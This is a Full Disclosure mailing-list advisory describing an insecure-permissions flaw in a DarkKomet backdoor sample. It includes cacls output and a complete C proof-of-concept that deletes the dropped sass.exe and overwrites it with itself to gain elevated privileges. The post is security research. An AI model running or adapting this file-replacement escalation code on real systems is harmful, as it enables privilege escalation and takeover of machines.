Date: Tue, 26 Jan 2021 20:12:26 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.DarkKomet.apbb / Insecure Permissions

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/d6c930e0ac1df934151d1890f6441fe2.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.DarkKomet.apbb
Vulnerability: Insecure Permissions
Description: DarkKomet creates an insecure dir named "Windupdt" under
c:\ drive, this allows unprivilged users to take over the infected
system, as it grants change (C) permissions to the authenticated users
group.
Type: PE32
MD5: d6c930e0ac1df934151d1890f6441fe2
Vuln ID: MVID-2021-0054
Dropped files: sass.exe
Disclosure: 01/26/2021


Exploit/PoC:
C:\>cacls "C:\Windupdt\sass.exe"
C:\Windupdt\sass.exe BUILTIN\Administrators:(ID)F
                     NT AUTHORITY\SYSTEM:(ID)F
                     BUILTIN\Users:(ID)R
                     NT AUTHORITY\Authenticated Users:(ID)C

#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Windupdt\\sass.exe"
#define TMP "C:\\Windupdt\\2.exe"
#define DISABLED_TARGET "C:\\Windupdt\\pwnkomet.tmp"

/* Backdoor.Win32.DarkKomet.apbb.d6c930e0ac1df934151d1890f6441fe2 */
/* Insecure Permissions EoP */
/* Log out of the current privileged user account, run the exploit as
standard user then log back in. */
/* By Malvuln */

BOOL PWNED=FALSE;

BOOL FileExists(LPCTSTR szPath){
  DWORD dwAttrib = GetFileAttributes(szPath);
  return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}

void main(void){

  if(!FileExists(DISABLED_TARGET)){
  	WinExec("cmd.exe /c del C:\\Windupdt\\sass.exe", 0);
  	Sleep(1000);
  	CopyFile(TARGET, TMP, FALSE);
  	Sleep(1000);
    CopyFile(TMP, DISABLED_TARGET, FALSE);
    printf("[+] Backdoor.Win32.DarkKomet.apbb EoP PoC\n");
    Sleep(1000);
    printf("[+] Disabled ÚÈÏÇáÑÍãä.exe ...\n");
    Sleep(300);
   }else{
  	 PWNED=TRUE;
   }

    if(!PWNED){
     	char fname[MAX_PATH];
        char newLoc[]=TARGET;
        DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
       if (size){
         printf("[+] Copying exploit to vuln System dir...\n");
         Sleep(1000);
         CopyFile(fname, TARGET, FALSE);
         printf("[+] Replaced sass.exe...\n");
         printf("[+] Done!\n");
         exit(0);
        }
    }else{
    	if(FileExists(TMP)){
    		 remove(TMP);
    	}
     	printf("[+] Backdoor.Win32.DarkKomet.apbb PWNED!\n");
     	printf("[+] MD5: d6c930e0ac1df934151d1890f6441fe2\n");
     	printf("[+] By John Page (Malvuln)\n");
     	system("pause");
     }
}



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